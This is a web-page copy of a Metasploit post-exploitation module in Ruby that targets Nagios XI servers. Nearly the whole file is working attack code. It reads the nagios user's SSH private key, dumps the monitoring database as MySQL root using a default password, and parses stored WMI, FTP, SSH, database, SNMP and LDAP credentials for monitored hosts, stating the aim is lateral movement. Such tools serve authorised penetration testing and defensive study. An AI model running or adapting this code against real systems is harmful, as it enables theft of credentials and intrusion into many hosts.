Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/enum_nagios_xi.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Linux::System
8
include Msf::Exploit::FileDropper
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Nagios XI Enumeration',
15
'Description' => %q{
16
NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,
17
creating opportunities for lateral movement.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [
21
'Cale Smith', # @0xC413
22
],
23
'DisclosureDate' => '2018-04-17',
24
'Platform' => 'linux',
25
'SessionTypes' => ['shell', 'meterpreter'],
26
'Notes' => {
27
'Stability' => [CRASH_SAFE],
28
'SideEffects' => [],
29
'Reliability' => []
30
}
31
)
32
)
33
register_options([
34
OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])
35
])
36
end
37
38
# save found creds in the MSF DB for easy use
39
# , login)
40
def report_obj(cred, login)
41
return if cred.nil? || login.nil?
42
43
credential_data = {
44
origin_type: :session,
45
post_reference_name: fullname,
46
session_id: session_db_id,
47
workspace_id: myworkspace_id
48
}.merge(cred)
49
credential_core = create_credential(credential_data)
50
51
login_data = {
52
core: credential_core,
53
workspace_id: myworkspace_id
54
}.merge(login)
55
56
create_credential_login(login_data)
57
end
58
59
# parse out domain realm for windows services
60
def parse_realm(username)
61
userealm = username.split('/')
62
63
if userealm.count > 1
64
realm = userealm[0]
65
username = userealm[1]
66
67
credential_data = {
68
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
69
realm_value: realm,
70
username: username
71
}
72
else
73
credential_data = {
74
username: username
75
}
76
end
77
78
credential_data
79
end
80
81
def run
82
@peer = "#{session.session_host}:#{session.session_port}"
83
84
@creds = []
85
@ssh_keys = []
86
87
# get nagios SSH private key
88
id_rsa_path = '/home/nagios/.ssh/id_rsa'
89
if file?(id_rsa_path)
90
print_good('Attempting to grab Nagios SSH key')
91
ssh_key = read_file(id_rsa_path)
92
ssh_key_loot = store_loot(
93
'nagios_ssh_priv_key',
94
'text/plain',
95
session,
96
ssh_key,
97
nil
98
)
99
print_status("Nagios SSH key stored in #{ssh_key_loot}")
100
else
101
print_status('No SSH key found')
102
end
103
104
print_status('Attempting to dump Nagios DB')
105
db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"
106
107
sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")
108
sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |
109
sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )
110
sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )
111
sql_query << %(WHERE nagios_services.check_command_object_id!=89 )
112
sql_query << %(ORDER BY nagios_services.check_command_object_id )
113
sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")
114
115
out = cmd_exec(sql_query)
116
if out.match(/error/i)
117
print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")
118
return
119
end
120
121
db_dump = read_file(db_dump_file)
122
print_good('Nagios DB dump successful')
123
# store raw db results, there is likely good stuff in here that we don't parse out
124
db_loot = store_loot(
125
'nagiosxi_raw_db_dump',
126
'text/plain',
127
session,
128
db_dump,
129
nil
130
)
131
print_status("Raw Nagios DB dump #{db_loot}")
132
print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")
133
134
CSV.parse(db_dump) do |row|
135
case row[0]
136
when '110' # WMI
137
host = row[1]
138
creds = row[2].split('!')
139
username = creds[0].match(/'(.*?)'/)[1]
140
password = creds[1].match(/'(.*?)'/)[1]
141
142
user_credential_data = parse_realm(username)
143
144
credential_data = {
145
private_data: password,
146
private_type: :password
147
}.merge(user_credential_data)
148
149
login_data = {
150
address: host,
151
port: 135,
152
service_name: 'WMI',
153
protocol: 'tcp'
154
}
155
156
when '59' # SSH
157
host = row[1]
158
159
credential_data = {
160
username: 'nagios',
161
private_data: ssh_key,
162
private_type: :ssh_key
163
}
164
165
login_data = {
166
address: host,
167
port: 22,
168
service_name: 'SSH',
169
protocol: 'tcp'
170
}
171
172
when '25' # FTP
173
host = row[1]
174
creds = row[2].split('!')
175
username = creds[0]
176
password = creds[1]
177
178
credential_data = {
179
username: username,
180
private_data: password,
181
private_type: :password
182
}
183
184
login_data = {
185
address: host,
186
port: 21,
187
service_name: 'FTP',
188
protocol: 'tcp'
189
}
190
191
when '67' # MYSQL
192
host = row[1]
193
username = row[2].match(/--username=(.*?)\s/)[1]
194
password = row[2].match(/--password=%22(.*?)%22/)[1]
195
196
credential_data = {
197
username: username,
198
private_data: password,
199
private_type: :password
200
}
201
202
login_data = {
203
address: host,
204
port: 3306,
205
service_name: 'MySQL',
206
protocol: 'tcp'
207
}
208
209
when '66' # MSSQL
210
host = row[1]
211
username = row[2].match(/-U '(.*?)'/)[1]
212
password = row[2].match(/-P '(.*?)'/)[1]
213
214
user_credential_data = parse_realm(username)
215
credential_data = {
216
private_data: password,
217
private_type: :password
218
}.merge(user_credential_data)
219
220
login_data = {
221
address: host,
222
port: 1433,
223
service_name: 'MSSQL',
224
protocol: 'tcp'
225
}
226
227
when '76' # POSTGRES
228
host = row[1]
229
username = row[2].match(/--dbuser=(.*?)\s/)[1]
230
password = row[2].match(/--dbpass=%22(.*?)%22/)[1]
231
232
credential_data = {
233
username: username,
234
private_data: password,
235
private_type: :password
236
}
237
238
login_data = {
239
address: host,
240
port: 5432,
241
service_name: 'PostgreSQL',
242
protocol: 'tcp'
243
}
244
245
when '85' # SNMP
246
host = row[1]
247
creds = row[2].split('!')
248
password = ' '
249
username = creds[0]
250
251
credential_data = {
252
username: username,
253
private_data: password,
254
private_type: :password
255
}
256
257
login_data = {
258
address: host,
259
port: 161,
260
service_name: 'SNMP',
261
protocol: 'udp'
262
}
263
264
when '88' # LDAP
265
host = row[1]
266
username = row[2].match(/-D %22(.*?)%22/)[1]
267
password = row[2].match(/-P %22(.*?)%22/)[1]
268
269
credential_data = {
270
username: username,
271
private_data: password,
272
private_type: :password
273
}
274
275
login_data = {
276
address: host,
277
port: 389,
278
service_name: 'LDAP',
279
protocol: 'tcp'
280
}
281
end
282
283
unless credential_data.nil? || login_data.nil?
284
report_obj(credential_data, login_data)
285
end
286
end
287
288
print_status("Run 'creds' to see credentials loaded into the MSF DB")
289
290
# cleanup db dump
291
register_file_for_cleanup(db_dump_file)
292
end
293
end
294
295